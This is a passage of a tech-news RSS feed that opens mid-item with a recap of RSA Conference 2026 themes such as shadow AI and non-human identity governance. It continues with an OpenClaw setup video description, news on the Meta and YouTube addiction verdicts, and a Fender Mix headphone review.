<pubDate>Tue, 31 Mar 2026 10:37:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Writing a conference preview is an act of professional speculation. You read the agenda, map the schedule session density, and make your personal best call about where the intellectual energy will concentrate.</p>



<p>From my perspective going in, RSA Conference 2026 <a href="https://www.csoonline.com/article/4146664/5-key-priorities-for-your-rsac-2026-agenda.html">outlined a defining tension for CISOs today</a>: how to enable AI adoption fast enough to stay competitive while securing the enterprise against a threat landscape AI itself is reshaping.</p>



<p>Now that RSAC 2026 has run its course, it’s worth holding pre-event predictions, such as my five key priorities for CISOs and their teams, against what actually emerged from the sessions, VC panels, and hallway conversations that tend to be more candid than anything on stage.</p>



<p>The verdict: the frame held. In fact, there was very little conversation without AI being front and center. At the Moscone Center in San Francisco I kept hearing, ‘We live in unprecedented times’ — a cliché that I do believe is true.</p>



<p>My own surprises were mostly matters of AI emphasis and velocity with stronger and perhaps sharper commercial edges than I expected.</p>



<h2 class="wp-block-heading">The AI saturation hypothesis was confirmed</h2>



<p>My RSAC 2026 preview argued that AI was no longer a track but had become the event itself, with approximately 40% of the agenda AI-weighted across every cyber domain.</p>



<p>That certainly bore out on stage. Every panel, whether focused on investment, products, identity, or offensive capability, returned to AI. Yoav Leitersdorf of YL Ventures put this bluntly: “Everyone only wants to talk about AI, and if you aren’t doing AI, investors don’t want to talk to you.”</p>



<p>Kevin Mandia from Ballistic Ventures at the RSA Annual Executive Dinner noted that we have to take humans out of the loop, so that AI versus AI is the new paradigm. He explained that AI agents have been introduced into red teaming exercises and are capable of operating at scale and with speed. So, while AI compresses the attack cycle, AI can also “automate” existing teams to improve their response from 5 days to 5 minutes.</p>



<p>What my preview couldn’t fully anticipate was the degree to which the AI narrative forked into two distinct commercial pressures running simultaneously.</p>



<p>Dave DeWalt of NightDragon captured both sides: AI as a tool for defense and offense, but also AI as a structural force flattening the competitive landscape between established vendors and startups. His observation that Series A funding is now looking to be $100 million — and that he’d never seen capital deploy this fast — landed with impact.</p>



<p>RSAC 2026 felt less like a learning event and more like a deal-making environment with educational sessions attached.</p>



<h2 class="wp-block-heading">Securing the AI stack: Yes, but the threat surface has grown</h2>



<p>The first technical priority I offered for CISOs in my conference preview was securing the AI stack — RAG workflows, LLM data pipelines, vector databases, and model APIs — on the basis that prompt injection, training data poisoning, and model inversion attacks were no longer theoretical.</p>



<p>The floor validated this but added dimensions my preview had underweighted. Mike Leland of Island framed the enterprise AI risk surface comprehensively: data leakage, shadow AI, prompt injection, copyright and IP infringement, hallucinations, and data residency. These aren’t sequential concerns — they arrive simultaneously the moment an organization allows AI tools into the environment.</p>



<p>The AI red teaming conversation surfaced with more commercial urgency than anticipated. Frontier Labs’ Brian Singer described environments where AI attackers operate at 1,000 times the speed of human adversaries, pushing the securing-the-stack conversation from defensive posture into something more active. While my preview was right about the topic, it underestimated the operational tempo.</p>



<p>On the conference floor I caught up with Singulr CEO Shiv Agarwaland Richard Bird, Singulr’s CSO and chief strategyofficer,whose platform is attempting to solve this visibility problem at scale. Their starting point was blunt: “AI usage is going out of control at the enterprise. The CIO, the CSO, they need some level of control, but without stopping or slowing down innovation.”</p>



<p>What Singulr’s discovery work is revealing is more of an issue than most boards appreciate. Bird told me that across enterprise assessments, they consistently surface between 350 and 430 AI services and features in active use, the overwhelming majority of which were never formally sanctioned. The shadow AI problem isn’t theoretical. It’s already deployed.</p>



<p>He offered a more nuanced risk framing than most vendors I encountered: context matters as much as the tool itself. “ChatGPT is a very well-contracted and approved AI service,” he said. “But if someone is using it with a personal account and model training has not been turned off, it brings the same risk as a service put up by two people in a garage.” Unfortunately sanction alone doesn’t confer safety.</p>



<h2 class="wp-block-heading">Non-human identity: The standout theme of the conference</h2>



<p>My preview identified non-human identity (NHI) governance as rapidly becoming one of the most consequential operational gaps in enterprise security. This proved to be my most prescient call. It wasn’t just a track; it became a through-line across multiple panels. Ross Haleliuk noted bluntly that machine identities already outnumber human ones.</p>



<p>Mark McClain, founder of SailPoint, reframed the entire identity management problem around agent intent and context: Humans we assumed were at an office or working remotely, but do we understand the intention of an AI agent, and do we have guardrail policies capable of reasoning about that?</p>



<p>McClain’s framing felt the most intellectually honest moment of the conference on this topic. He acknowledged that new technology was coming that would put his own platform under pressure, while simultaneously arguing that anyone who believes you can master the agentic world in isolation without human oversight is being misled.</p>



<p>The infrastructure question was taken further in my conversation with Noam Issachar and Jake Turetsky of Jazz, whose platform is building what they describe as a control plane for the agentic layer. Their framing was architecturally provocative: “AI is the new infrastructure. An AI agent can conduct and take action for something that looks like data transformation and never go into the lower tiers of the technology stack.” In their view, the agent layer is becoming the new HTTP — a data transport and transformation tier that sits above traditional infrastructure but below application logic.</p>



<p>What they found most troubling was the governance vacuum that currently exists in that space: “If AI is truly transformational, then why is there no transformation of processes, policies, and governance to reflect the fact that traffic management is already happening there?” It’s a fair challenge. The architecture has moved faster than the frameworks built to govern it.</p>



<h2 class="wp-block-heading">AI governance: Present, but absorbed into broader conversations</h2>



<p>The compliance priority in my preview centered on the EU AI Act and the need for CISOs to develop defensible licence-to-operate frameworks for AI deployment.</p>



<p>This theme was present at RSAC but was somewhat absorbed into broader discussions about regulatory alignment rather than treated as a standalone priority. VP of Google Threat Intelligence Sandra Joyce’s exchange with Richard Horne of the NCSC touched on the tension between defenders and attackers both benefiting from AI — the NCSC providing framework standards that regulators then align to, a model of governance by reference rather than prescription.</p>



<p>Jay Bavasi, CEO of EC Council, offered the most direct governance framing I encountered across the entire week: “Our attitude as a community has been shoot first, ask questions later. But what we should be doing is ask questions first, shoot later.”</p>



<p>The data behind that charge is harder to dismiss than the rhetoric. Bavasi cited that 84% of Fortune 500 companies reference AI implementation in their 10-K filings. He noted that the proportion that claims to have actual AI governance in place is just 18%. With 72 countries having already launched AI regulations or frameworks, the gap between disclosure and accountability is widening, not closing.</p>



<p>Singulr’s Bird reinforced this concern from an operational standpoint, noting that the governance conversation is still largely performative inside most enterprises — boards are discussing AI risk without the institutional mechanisms to actually manage it.</p>



<p>In-Q-Tel’s Katie Gray offered the sharpest counterweight to the governance narrative: There has never been a better time to sell to the US government, and the DoD spends $5 billion on cyber annually. In that environment, governance conversations are less about compliance architecture and more about positioning to capture procurement.</p>



<h2 class="wp-block-heading">Shadow AI: Validated and commercially urgent</h2>



<p>My preview’s risk priority around shadow AI and vibe coding — unsanctioned AI tool usage largely invisible to security teams — was confirmed across multiple sessions. Leland’s readiness framework put it plainly: Do you have visibility of shadow AI tool usage across the enterprise? Can you identify and prevent inappropriate data usage with gen AI tools?</p>



<p>Singulr’s Agarwal added a dimension that most vendors are reluctant to name. The most commonly discovered unsanctioned AI application in enterprise assessments is Grammarly — not a rogue model or an exotic data exfiltration tool, a writing assistant that most employees assume is benign and most IT teams have never thought to classify as AI risk.</p>



<p>His broader point about risk posture deserves to sit with board directors: “Your monthly board report is kind of useless in a way because your risk position today versus this morning is different.” A static governance snapshot of a dynamic and real-time threat surface is a category error, not a reporting format.</p>



<p>Team8’s Amir Zilberstein flagged investment in a reimagined DLP category on exactly this basis, the old category was hated, but AI-driven classification changes what’s possible.</p>



<h2 class="wp-block-heading">What my preview missed</h2>



<p>Two things the pre-event article didn’t fully anticipate:</p>



<p>First, the capital concentration dynamic. Amir Zilberstein’s observation that more funding is going to fewer companies, combined with David DeWalt’s seed and Series A figures, describes a market consolidating at the top even as it fragments at the bottom. The 9,900 cyber companies DeWalt cited aren’t all going to survive contact with AI titans crossing over from the SaaS world.</p>



<p>Second, the workforce conversation. This was the thread I found most unresolved across every conversation I had on stage and off.</p>



<p>Many speakers quoted Jensen Huang’s 1:2,000 agent-to-human ratio framing. Then I’d note Yoav Leitersdorf counsel to keep R&amp;D flat and grow through AI, and Mark McClain’s observation that AI agents operate at a speed humans physically cannot match — these signals point to a structural workforce shift that cybersecurity leadership hasn’t fully internalized yet.</p>



<p>EC Council’s Bavasi was the most direct voice on this. He pushed back on the premise that CISOs should own AI wholesale: “CISOs are already suffering. A thousand things are already going on. It is one of the most short-lived jobs in the world. And you’re about to throw a behemoth to them.”</p>



<p>He cited 4 million cybersecurity jobs unfilled today, with that figure likely to double as the agentic layer matures — not because demand shrinks, but because the skill profile required is fundamentally different.</p>



<p>Bavasi also landed what I’d call the most confronting statistic of the week — not about threat actors, but about the industry’s own readiness: “We are living in an era where AI agents already have a social media community of their own. We live in an era where humans are being threatened and blackmailed and we still haven’t figured out how we’re going to implement responsible AI governance and ethics,” he said.</p>



<h2 class="wp-block-heading">Closing observation</h2>



<p>While my preview was focused on what CISOs needed to learn at RSAC, what the floor revealed was that some of that may require them to rethink how their teams are built, how their governance is structured, and how they report to boards, which are asking AI governance questions but receiving answers designed for a different era.</p>



<p>The intelligence is accumulating. The institutional response is lagging. That gap was the real story of RSAC 2026.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw......RIGHT NOW??? (it's not what you think)]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 369x - Views:4309 Get your own VPS and set up OpenClaw: https://hostinger.com/ncopenclaw Use code NETWORKCHUCK!

OpenClaw has 308K GitHub stars — more than React, more than the Linux kernel. But what IS it actually? I set it up on a VPS, gave it a Telegram bot, a...]]></description>
<link>https://tsecurity.de/de/3393403/it-security-video/openclawright-now-its-not-what-you-think/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3393403/it-security-video/openclawright-now-its-not-what-you-think/</guid>
<pubDate>Mon, 30 Mar 2026 16:32:43 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 369x - Views:4309 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/T-HZHO_PQPY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Get your own VPS and set up OpenClaw: https://hostinger.com/ncopenclaw Use code NETWORKCHUCK!<br />
<br />
OpenClaw has 308K GitHub stars — more than React, more than the Linux kernel. But what IS it actually? I set it up on a VPS, gave it a Telegram bot, and watched it build a news briefing and server monitoring dashboard in minutes — something that took an entire n8n workflow video to do before. But I also kinda hate it. In this video, I cut through the hype and give you my honest take as someone who built the same thing with Claude Code before OpenClaw existed.<br />
<br />
In this video, you'll learn how to install OpenClaw on a Linux VPS in under 5 minutes, connect it to Telegram, build an AI news briefing agent and IT monitoring dashboard, understand the four pillars of OpenClaw (AI models, channels, memory, and tools), configure security with the built-in security audit, set up tool profiles and red lines, and decide if OpenClaw is right for you. Whether you're an AI enthusiast drowning in hype or a sysadmin curious about AI agents, this covers everything from one-line install to hardened security config.<br />
<br />
<br />
RESOURCES / LINKS: <br />
💻 GitHub Setup Guide (all commands): https://github.com/theNetworkChuck/openclaw-setup <br />
🌐 OpenClaw: https://openclaw.ai <br />
🛠️ ClawHub (Skills Directory): https://clawhub.com <br />
🛠️ Hostinger VPS: https://hostinger.com/ncopenclaw <br />
📺 n8n Automation Video: https://youtube.com/watch?v=ONgECvZNI3o <br />
☕ NetworkChuck Coffee: https://networkchuck.coffee <br />
🎓 NetworkChuck Academy (OpenClaw Course): https://ntck.co/NCAcademy<br />
<br />
<br />
TIMESTAMPS: <br />
0:00 - OpenClaw stressed me out (308K GitHub stars) <br />
1:44 - Setting up OpenClaw in 5 minutes on a VPS <br />
4:22 - Connecting Telegram and hatching your agent <br />
7:30 - Project 1: AI news briefing (one sentence vs entire n8n workflow) <br />
8:14 - Project 2: AI IT engineer monitoring your own server <br />
9:34 - What IS OpenClaw actually? (gateway + 4 pillars) <br />
15:07 - Tools, cron jobs, and heartbeats <br />
17:08 - ClawHub skills, browser, and sub-agents <br />
19:27 - Why everyone freaked out (my honest take) <br />
20:55 - Securing your OpenClaw instance <br />
30:01 - My verdict: how I actually use OpenClaw<br />
<br />
<br />
**Sponsored by Hostinger<br />
<br />
<br />
<br />
SUPPORT NETWORKCHUCK: <br />
☕☕ COFFEE and MERCH: https://ntck.co/coffee<br />
<br />
<br />
READY TO LEARN?? <br />
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy <br />
📚 CCNA Course: https://ntck.co/ccna<br />
<br />
<br />
FOLLOW ME EVERYWHERE: <br />
Instagram: https://www.instagram.com/networkchuck/ <br />
X/Twitter: https://x.com/networkchuck <br />
Facebook: https://www.facebook.com/NetworkChuck/ <br />
Join the Discord server: https://ntck.co/discord<br />
<br />
<br />
Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.<br />
<br />
<br />
#openclaw #aiagents #networkchuck<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Meta’s victim-blaming failed to sway jurors in landmark social media addiction trial]]></title>
<description><![CDATA[Aggressive strategy and loss in the trial highlight a problem for tech firms: a widespread distrust of social media companiesWhen Meta, the parent company of Facebook and Instagram, sought to defend itself in the landmark social media addiction lawsuit alleging its products caused personal injury...]]></description>
<link>https://tsecurity.de/de/3390631/it-nachrichten/how-metas-victim-blaming-failed-to-sway-jurors-in-landmark-social-media-addiction-trial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3390631/it-nachrichten/how-metas-victim-blaming-failed-to-sway-jurors-in-landmark-social-media-addiction-trial/</guid>
<pubDate>Sun, 29 Mar 2026 12:10:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Aggressive strategy and loss in the trial highlight a problem for tech firms: a widespread distrust of social media companies</p><p>When <a href="https://www.theguardian.com/technology/meta">Meta</a>, the parent company of Facebook and Instagram, sought to defend itself in the <a href="https://www.theguardian.com/media/2026/mar/25/jury-verdict-us-first-social-media-addiction-trial-meta-youtube">landmark social media addiction lawsuit</a> alleging its products caused personal injury to a young user, it went on the offensive. The mental health problems that the 20-year-old known as KGM suffered since she was a child were not the result of exposure to harm on Instagram, Meta’s lawyers and public relations team argued, but instead linked to her mother’s parenting and her offline social problems.</p><p>In a bench memo filed before the trial began, lawyers for Meta quoted excerpts from KGM’s teenage text messages, personal writings and social media posts complaining about her mother. They combed through therapy notes and called on doctors to testify to examples of personal conflict. Throughout the proceedings, Meta’s communications team sent reporters repeated updates from the trial and quotes from testimony that highlighted her familial issues. Far from causing harm, they alleged that Instagram offered a helpful respite from the real world.</p> <a href="https://www.theguardian.com/technology/2026/mar/29/meta-loss-social-media-addiction-trial">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘The era of invincibility is over’: the week big tech was brought to heel]]></title>
<description><![CDATA[Ruling that Meta and YouTube deliberately designed addictive products marks possible watershed moment for social mediaThe young woman at the heart of what has been called the tech industry’s “big tobacco” moment was on YouTube at six and Instagram by nine. More than a decade later, she says, she ...]]></description>
<link>https://tsecurity.de/de/3388646/it-nachrichten/the-era-of-invincibility-is-over-the-week-big-tech-was-brought-to-heel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3388646/it-nachrichten/the-era-of-invincibility-is-over-the-week-big-tech-was-brought-to-heel/</guid>
<pubDate>Sat, 28 Mar 2026 11:05:06 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ruling that Meta and YouTube deliberately designed addictive products marks possible watershed moment for social media</p><p>The young woman at the heart of what has been called the tech industry’s “big tobacco” moment was on YouTube at six and Instagram by nine. More than a decade later, she says, she still can’t live without the social media she became addicted to.</p><p>“I can’t, it’s too hard to be without it,” Kaley, now 20, told a jury at Los Angeles’ superior court. This week, five men and seven women <a href="https://www.theguardian.com/media/2026/mar/25/jury-verdict-us-first-social-media-addiction-trial-meta-youtube">handed down a verdict</a> on the design of two of the world’s most popular apps that vindicated Kaley’s position.</p> <a href="https://www.theguardian.com/media/ng-interactive/2026/mar/28/week-that-brought-big-tech-to-heel-meta-youtube-google-instagram-facebook">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[At last, David has landed a double punch on the tech Goliaths. Now to hit them even harder | Jonathan Freedland]]></title>
<description><![CDATA[The US court verdicts declaring Meta liable for getting people addicted and ruining lives must be just the start of a global fightbackGood news is so rare these days, you don’t quite know how to take it. You want to celebrate, but a rival instinct tells you it’ll be pulled back somehow, the same ...]]></description>
<link>https://tsecurity.de/de/3387301/ai-nachrichten/at-last-david-has-landed-a-double-punch-on-the-tech-goliaths-now-to-hit-them-even-harder-jonathan-freedland/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3387301/ai-nachrichten/at-last-david-has-landed-a-double-punch-on-the-tech-goliaths-now-to-hit-them-even-harder-jonathan-freedland/</guid>
<pubDate>Fri, 27 Mar 2026 18:32:23 +0100</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The US court verdicts declaring Meta liable for getting people addicted and ruining lives must be just the start of a global fightback</p><p>Good news is so rare these days, you don’t quite know how to take it. You want to celebrate, but a rival instinct tells you it’ll be pulled back somehow, the same feeling you get when your team scores a late winner, but you’re filled with instant dread that the goal will be overturned on a video replay.</p><p>I confess that is how I responded to the double legal blow dealt this week to Meta, the company that owns Facebook and Instagram, when two US juries on successive days found against it in a pair of landmark cases. First came <a href="https://www.theguardian.com/technology/2026/mar/24/meta-new-mexico-jury">a verdict in New Mexico</a>, fining the company $375m (£280m) for enabling harm, including child sexual exploitation, on its platforms and for misleading consumers about their safety. Twenty-four hours later, jurors in <a href="https://www.theguardian.com/media/2026/mar/25/jury-verdict-us-first-social-media-addiction-trial-meta-youtube">California awarded $6m in damages</a> to a young user who had argued that Meta (along with YouTube) had deliberately designed addictive products that had hooked her from childhood, causing her grave harm.</p> <a href="https://www.theguardian.com/commentisfree/2026/mar/27/meta-facebook-us-court-verdicts-david-goliath">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fender Mix review: Well-designed headphones that just fall short of greatness]]></title>
<description><![CDATA[I know what you’re thinking: “Isn’t Fender a guitar company?” It sure is, and has been one of the most iconic names in guitars and amplifiers since 1946. So what is the company doing making headphones and speakers? Well, it isn’t, exactly. Like Zound Industries used to do with Marshall (before bu...]]></description>
<link>https://tsecurity.de/de/3386374/it-nachrichten/fender-mix-review-well-designed-headphones-that-just-fall-short-of-greatness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3386374/it-nachrichten/fender-mix-review-well-designed-headphones-that-just-fall-short-of-greatness/</guid>
<pubDate>Fri, 27 Mar 2026 13:17:34 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>I know what you’re thinking: “Isn’t Fender a guitar company?” It sure is, and has been one of the most iconic names in guitars and amplifiers since 1946. So what is the company doing making headphones and speakers? Well, it isn’t, exactly. Like Zound Industries used to do with <a target="_blank" class="link" href="https://www.engadget.com/audio/speakers/marshall-adds-a-junior-sized-party-speaker-to-its-lineup-120000871.html" data-i13n="cpos:1;pos:1">Marshall</a> (before buying the amp business), another company is licensing the Fender name for its consumer audio products. <a target="_blank" class="link" href="https://fenderaudio.com/" data-i13n="cpos:2;pos:1">Fender Audio</a>, the brand that’s on the headphones I’m reviewing, is owned by the Fender Corporation, but Riffsound oversees the design and production of portable audio gear. </p>
<p> The first products from Fender Audio are the Mix headphones and the Elie speaker (in two sizes). The company <a target="_blank" class="link" href="https://www.engadget.com/audio/speakers/fender-audio-will-introduce-a-new-line-of-bluetooth-speakers-and-headphones-at-ces-130041696.html" data-i13n="cpos:3;pos:1">revealed these in January</a> before properly showing them off  <a target="_blank" class="link" href="https://www.engadget.com/audio/hands-on-with-fender-audios-headphones-and-speakers-at-ces-2026-203104561.html" data-i13n="cpos:4;pos:1">at CES</a>. I’ll get to those speakers in a few weeks, but the Mix headphones are first up on the review docket. </p>
<p>With the Mix, Fender Audio seeks to offer a set of premium over-ear, noise-canceling headphones at a lower price than the likes of Sony, Bose and Sennheiser. There’s also marathon battery life, several smart design touches, a lossless Bluetooth transmitter and swappable parts that combine for a unique formula to take on those big names. I’m honestly impressed that Fender Audio could cram all of that in a more affordable package, but the final verdict on the Mix isn’t so straightforward.</p>
<p>
 <core-commerce data-type="product-list" data-original-url="https://fenderaudio.com/products/mix"></core-commerce></p>
<h2>What’s good about the Fender Mix headphones?</h2>
<p>Fender Audio made numerous smart design decisions on the Mix headphones, and they resulted in my favorite things about using them. To start, you can swap out the ear pads, ear cups and headband as you see fit. The ear cups attach to the headband via USB-C ports, so they’re easy to snap on and off. Obviously, this allows you to change the look of the Mix over time, within the bounds of Fender’s available colors. </p>
<p>Underneath the ear pads, Fender put a storage slot for the lossless dongle on the left side and gives you access to the removable battery on the right. I’m thrilled that I can enjoy higher quality Bluetooth connectivity without having to remember to bring along such a small accessory. Plus, it’s nice to know that users will be able to install a fresh battery, provided the company sells those at some point. </p>
<p>I also enjoy how Fender Audio designed the onboard controls. First, they’re physical buttons, which are always my preference over touch- or gesture-based options. Second, the main one is a five-way joystick, so they’re very simple. Press it to play/pause, press and hold for pairing mode or press longer to power on or off. If you push the joystick up or down, you can adjust the volume, while moving it left and right skips the track forward or backward. You can also push down twice to enable Auracast pairing right on the headphones. A second button, which is just the regular kind, is used to cycle through noise canceling modes: ANC, transparency and both off. </p>
<figure>
 <img src="https://d29szjachogqwa.cloudfront.net/images/user-uploaded/dsc_6002.jpg" data-crop-orig-src="https://d29szjachogqwa.cloudfront.net/images/user-uploaded/dsc_6002.jpg" alt="The lossless Bluetooth dongle inside the left ear cup" data-uuid="33927118-ccab-4007-a1d5-941126229565">
 <figcaption>
  The lossless Bluetooth dongle inside the left ear cup
 </figcaption>
 <div class="photo-credit">
  Billy Steele for Engadget
 </div>
</figure>
<p>Sonically, the Mix headphones are at the height of their powers in lossless mode, which is enabled by the Bluetooth dongle hidden inside the ear cup. Bass tuning that’s otherwise overpowering in most cases is restrained, and you can pick up finer details in the more balanced mix. When listening to Watchhouse’s <em>Rituals, </em>I got the sense that I was surrounded by the band, with strings, drums and vocals enveloping my ears with sound — rather than it simply being projected from the left and right channels. There’s more nuance with the lossless mode, and it kept calling me back to the Mix headphones at the times when I’d probably opt for the conveniences of earbuds or a speaker. </p>
<p>ANC performance is respectable, although it’s not on the level of Bose. It’s good enough to block out mild-to-moderate distractions, but it struggles with louder human voices and sudden jolts of noise. It will certainly do the job in the office or coffee shop, but you may notice some sounds invade your ears during a commute. For calls, transparency mode provides natural sound and it picks up enough of my voice that I never felt the need to shout. Call quality, though, is a different matter (more on that in a bit). </p>
<p>Another big perk of the Mix is its long battery life. Fender Audio says you’ll get up to 52 hours with ANC on or a whopping 100 hours with it off. The company is forthcoming with the fact that the latter number is achieved at 50 percent volume, which will be too low for most “regular” use. Still, with noise canceling enabled and the volume around 70 percent, I had 52 percent battery left after nearly 30 hours of use. I spent most of that time with either ANC or transparency mode on. </p>
<h2>What’s not so good about the Fender Mix?</h2>
<figure>
 <img src="https://d29szjachogqwa.cloudfront.net/images/user-uploaded/dsc_5970.jpg" data-crop-orig-src="https://d29szjachogqwa.cloudfront.net/images/user-uploaded/dsc_5970.jpg" alt="The five-way joystick and ANC button on the Fender Mix" data-uuid="1b5f9262-1834-415b-aa7d-d6cd4a9ba983">
 <figcaption>
  The five-way joystick and ANC button on the Fender Mix
 </figcaption>
 <div class="photo-credit">
  Billy Steele for Engadget
 </div>
</figure>
<p>Out of the box, Fender Mix’s tuning is too bass heavy. I realize a lot of people prefer a thundering low-end tone out of their headphones, but I found it to be too overpowering here. The stock sound profile is my biggest issue with this model, although it’s somewhat alleviated by using the lossless Bluetooth dongle. In that mode, the bass is slightly subdued, but it’s still quite prominent at times when it shouldn’t be. </p>
<p>On that Watchhouse album, the kick drum starts to drive the sound, rather than the guitars, mandolin and other instruments. When I listen to the same songs on other headphones, I’ve noticed a better blend of drums and strings. With more intense genres, like the hardcore riffs and breakdowns of Incendiary’s <em>Product of New York, </em>the booming bass isn’t as much of an issue. The distorted guitars still cut through, and there’s plenty of texture in their tone. And when each song hits its climax, the cranked up lows offer extra oomph. It works for metal, but it isn’t always nice for bluegrass, jazz and synth-laiden electronic tunes where the extra bass can muddy the mix. </p>
<p>The Fender Mix also lacks many of the smart features that are present in premium headphones today, which is probably how the company is able to sell them for $299. Things like automatic EQ tweaks and adaptive ANC are missing, as is automatic pausing when you speak or things like head gestures. These headphones don’t have wear detection either, so they don’t pause the audio when you take them off. There’s also no app available to dial in the EQ or adjust other settings (it’s coming soon).</p>
<p>These headphones only have two microphones for calls, and you can tell almost instantly that those are insufficient. Despite claims of “crystal clear calls,” your voice will just sound okay to the person on the other end. Honestly, I would’ve sounded better just using my iPhone with no headphones. The Mix works to get your voice across, but don’t dream of dialing into a podcast recording with them. What’s more, the Mix isn’t good at blocking background noise, so you’ll need to use them in a quiet location to have a chance at sounding decent. Which, again, is about the best these headphones can muster.</p>
<p>While the modular design allows for a decent degree of customization, the extra parts you’ll need aren’t on sale yet. What’s more, only two colors — white, which is really more of a light gray, and black — are currently available. So, for now, one of the perks of the Mix remains untapped. </p>
<h2>Wrap-up</h2>
<figure>
 <img src="https://d29szjachogqwa.cloudfront.net/images/user-uploaded/dsc_5992.jpg" data-crop-orig-src="https://d29szjachogqwa.cloudfront.net/images/user-uploaded/dsc_5992.jpg" alt="The Fender Mix headphones" data-uuid="254ce6dc-e986-4e66-b3d7-cd7c4b02c9a0">
 <figcaption>
  The Fender Mix headphones
 </figcaption>
 <div class="photo-credit">
  Billy Steele for Engadget
 </div>
</figure>
<p>There’s a lot to like about the Fender Mix, from the clever design choices to the crisp, detailed sound. The lack of finesse with the bass tuning and the omission of advanced features, particularly the absence of an app for settings changes, keeps these headphones firmly planted in the midrange category. </p>
<p>Clearly that’s not what the company is aiming for with tools like the lossless Bluetooth dongle, but that’s where it lands for me at the end of the day. So, at $299, the Mix is a tough call when a $250 price tag would make these an easier sell. Sure, there’s enough here to make these a capable daily audio accessory, but not everything I’d need to call them a must buy.</p>This article originally appeared on Engadget at https://www.engadget.com/audio/headphones/fender-mix-review-well-designed-headphones-that-just-fall-short-of-greatness-120000974.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Why the Verdict Against Meta and YouTube Could Change Social Media]]></title>
<description><![CDATA[In a landmark case, a jury found Meta and YouTube guilty of creating products that were addictive. Ryan Mac explains the outcome and what it could mean for tech companies going forward.]]></description>
<link>https://tsecurity.de/de/3385039/it-nachrichten/why-the-verdict-against-meta-and-youtube-could-change-social-media/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3385039/it-nachrichten/why-the-verdict-against-meta-and-youtube-could-change-social-media/</guid>
<pubDate>Fri, 27 Mar 2026 01:17:20 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In a landmark case, a jury found Meta and YouTube guilty of creating products that were addictive. Ryan Mac explains the outcome and what it could mean for tech companies going forward.]]></content:encoded>
</item>
<item>
<title><![CDATA[Wegen süchtig machender Apps: Millionenstrafe für Meta und Google]]></title>
<description><![CDATA[Ein Gericht in Los Angeles hat Meta und Google zu Geldstrafen in Höhe von insgesamt 6 Millionen Dollar verurteilt. Den Großteil davon, circa 4,2 Millionen, muss dabei Meta tragen.



Hintergrund ist, dass eine 20-jährige Frau beide Unternehmen verklagt hat, weil sie in jungen Jahren von Instagram...]]></description>
<link>https://tsecurity.de/de/3383466/it-nachrichten/wegen-suechtig-machender-apps-millionenstrafe-fuer-meta-und-google/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3383466/it-nachrichten/wegen-suechtig-machender-apps-millionenstrafe-fuer-meta-und-google/</guid>
<pubDate>Thu, 26 Mar 2026 14:47:11 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ein Gericht in Los Angeles hat Meta und Google zu Geldstrafen in Höhe von insgesamt 6 Millionen Dollar verurteilt. Den Großteil davon, circa 4,2 Millionen, muss dabei Meta tragen.</p>



<p>Hintergrund ist, dass eine 20-jährige Frau beide Unternehmen verklagt hat, weil sie in jungen Jahren von Instagram und YouTube abhängig wurde, was sich laut eigener Aussage negativ auf ihr Leben ausgewirkt hat. Sie leide unter Depressionen und Angstzuständen, die durch das ständige Scrollen verstärkt wurden.</p>



<p>Nach Ansicht des Gerichts haben Meta und Google ihre Apps bewusst so gestaltet, dass sie süchtig machen, ohne die Nutzer vor den Risiken zu warnen. „Das heutige Urteil ist ein Votum, von einer Jury an eine ganze Branche, dass die Rechenschaftspflicht eingetreten ist“, sagt der Anwalt der Frau in einem Kommentar zur Entscheidung des Gerichts.</p>



<p>Sowohl Meta als auch Google werden gegen das Urteil Berufung einlegen, berichtet die Nachrichtenagentur <a href="https://www.reuters.com/legal/litigation/jury-reaches-verdict-meta-google-trial-social-media-addiction-2026-03-25/" data-type="link" data-id="https://www.reuters.com/legal/litigation/jury-reaches-verdict-meta-google-trial-social-media-addiction-2026-03-25/">Reuters</a>. Google betonte etwa, dass Youtube als Videoplattform gar nicht zu den sozialen Medien zählen sollte. </p>



<h2 class="wp-block-heading">Weitere Verfahren laufen</h2>



